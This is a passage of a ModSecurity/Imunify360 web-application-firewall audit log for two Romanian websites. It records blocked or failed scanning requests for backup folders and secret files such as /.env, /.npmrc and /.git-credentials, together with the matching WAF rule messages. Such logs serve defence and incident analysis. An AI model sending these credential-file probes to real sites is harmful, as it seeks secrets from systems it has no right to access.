Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-28.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqZs1WM7dE9KgIIOpQh01QAAAMA"]
Action: Intercepted (phase 2)
Stopwatch: 1789291733466201 60680 (- - -)
Stopwatch2: 1789291733466201 60680; combined=57735, p1=571, p2=56714, p3=0, p4=0, p5=449, sr=280, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--77556677-Z--

--7f4dee75-A--
[13/Sep/2026:12:29:17.271667 +0300] aqZs7Uwu1RSkptiiNIX4jgAAAJg 36.77.210.5 41324 127.0.0.1 7081
--7f4dee75-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7f4dee75-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7f4dee75-E--

--7f4dee75-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789291757265908 5840 (- - -)
Stopwatch2: 1789291757265908 5840; combined=4142, p1=254, p2=3460, p3=61, p4=6, p5=360, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f4dee75-Z--

--23eaff6f-A--
[13/Sep/2026:12:29:18.098072 +0300] aqZs7kwu1RSkptiiNIX4jwAAAJc 36.77.210.5 41334 127.0.0.1 7081
--23eaff6f-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--23eaff6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--23eaff6f-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZs7kwu1RSkptiiNIX4jwAAAJc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqZs7kwu1RSkptiiNIX4jwAAAJc"]
Action: Intercepted (phase 2)
Stopwatch: 1789291758039192 58941 (- - -)
Stopwatch2: 1789291758039192 58941; combined=57517, p1=245, p2=56970, p3=0, p4=0, p5=302, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--23eaff6f-Z--

--dc101163-A--
[13/Sep/2026:12:29:28.082981 +0300] aqZs@GM7dE9KgIIOpQh03AAAAMo 36.77.210.5 34838 127.0.0.1 7081
--dc101163-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 36.77.210.5
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--dc101163-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dc101163-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZs@GM7dE9KgIIOpQh03AAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-29.36.77.210.5||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqZs@GM7dE9KgIIOpQh03AAAAMo"]
Action: Intercepted (phase 2)
Stopwatch: 1789291768022441 60588 (- - -)
Stopwatch2: 1789291768022441 60588; combined=59190, p1=260, p2=58551, p3=0, p4=0, p5=379, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dc101163-Z--

--920b736e-A--
[13/Sep/2026:12:33:43.635192 +0300] aqZt92M7dE9KgIIOpQh1NwAAAME 34.83.71.154 53768 127.0.0.1 7081
--920b736e-B--
GET /.env HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--920b736e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--920b736e-E--

--920b736e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env"] [unique_id "aqZt92M7dE9KgIIOpQh1NwAAAME"]
Stopwatch: 1789292023629758 5495 (- - -)
Stopwatch2: 1789292023629758 5495; combined=3753, p1=188, p2=3456, p3=63, p4=7, p5=39, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--920b736e-Z--

--f844f25f-A--
[13/Sep/2026:12:33:43.659452 +0300] aqZt92M7dE9KgIIOpQh1NQAAANQ 34.83.71.154 53762 127.0.0.1 7081
--f844f25f-B--
GET /.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--f844f25f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f844f25f-E--

--f844f25f-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt92M7dE9KgIIOpQh1NQAAANQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqZt92M7dE9KgIIOpQh1NQAAANQ"]
Stopwatch: 1789292023612132 47370 (- - -)
Stopwatch2: 1789292023612132 47370; combined=44588, p1=2951, p2=41501, p3=70, p4=7, p5=59, sr=2733, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f844f25f-Z--

--1e090229-A--
[13/Sep/2026:12:33:43.662274 +0300] aqZt90wu1RSkptiiNIX4twAAAIM 34.83.71.154 53772 127.0.0.1 7081
--1e090229-B--
GET /.git/config HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--1e090229-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--1e090229-E--

--1e090229-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/config"] [unique_id "aqZt90wu1RSkptiiNIX4twAAAIM"]
Stopwatch: 1789292023628354 33965 (- - -)
Stopwatch2: 1789292023628354 33965; combined=32619, p1=278, p2=32221, p3=63, p4=7, p5=50, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1e090229-Z--

--949be77e-A--
[13/Sep/2026:12:33:43.845986 +0300] aqZt92M7dE9KgIIOpQh1OAAAAMk 34.83.71.154 53802 127.0.0.1 7081
--949be77e-B--
GET /.git/credentials HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--949be77e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--949be77e-E--

--949be77e-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git/credentials"] [unique_id "aqZt92M7dE9KgIIOpQh1OAAAAMk"]
Stopwatch: 1789292023839869 6179 (- - -)
Stopwatch2: 1789292023839869 6179; combined=4560, p1=251, p2=4141, p3=117, p4=7, p5=44, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--949be77e-Z--

--7f85734a-A--
[13/Sep/2026:12:33:43.846561 +0300] aqZt9zTJ6xTvcJoem7f6ywAAAEM 34.83.71.154 53786 127.0.0.1 7081
--7f85734a-B--
GET /.env.local HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--7f85734a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7f85734a-E--

--7f85734a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZt9zTJ6xTvcJoem7f6ywAAAEM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.env.local"] [unique_id "aqZt9zTJ6xTvcJoem7f6ywAAAEM"]
Stopwatch: 1789292023813503 33137 (- - -)
Stopwatch2: 1789292023813503 33137; combined=31028, p1=258, p2=30595, p3=118, p4=7, p5=49, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f85734a-Z--

--ac1c563f-A--
[13/Sep/2026:12:33:44.059273 +0300] aqZt@Ewu1RSkptiiNIX4uAAAAI8 34.83.71.154 53806 127.0.0.1 7081
--ac1c563f-B--
GET /.git-credentials HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--ac1c563f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ac1c563f-E--

--ac1c563f-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqZt@Ewu1RSkptiiNIX4uAAAAI8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqZt@Ewu1RSkptiiNIX4uAAAAI8"]
Stopwatch: 1789292024026934 32408 (- - -)
Stopwatch2: 1789292024026934 32408; combined=31009, p1=253, p2=30615, p3=85, p4=8, p5=48, sr=104, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ac1c563f-Z--

--e7725d76-A--
[13/Sep/2026:12:33:44.063737 +0300] aqZt@DTJ6xTvcJoem7f6zAAAAEA 34.83.71.154 53822 127.0.0.1 7081
--e7725d76-B--
GET /.npm/.npmrc HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--e7725d76-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e7725d76-E--

--e7725d76-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npm/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npm/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npm/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.happy-digital.ro"] [uri "/.npm/.npmrc"] [unique_id "aqZt@DTJ6xTvcJoem7f6zAAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npm/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.happy-digital.ro"] [uri "/.npm/.npmrc"] [unique_id "aqZt@DTJ6xTvcJoem7f6zAAAAEA"]
Stopwatch: 1789292024029363 34429 (- - -)
Stopwatch2: 1789292024029363 34429; combined=33012, p1=237, p2=32657, p3=65, p4=7, p5=46, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7725d76-Z--

--eb9a8606-A--
[13/Sep/2026:12:33:44.245665 +0300] aqZt@GM7dE9KgIIOpQh1OgAAANI 34.83.71.154 53832 127.0.0.1 7081
--eb9a8606-B--
GET /.env HTTP/1.1
Host: www.happy-digital.ro
X-Real-IP: 34.83.71.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

--eb9a8606-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--eb9a8606-E--

--eb9a8606-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
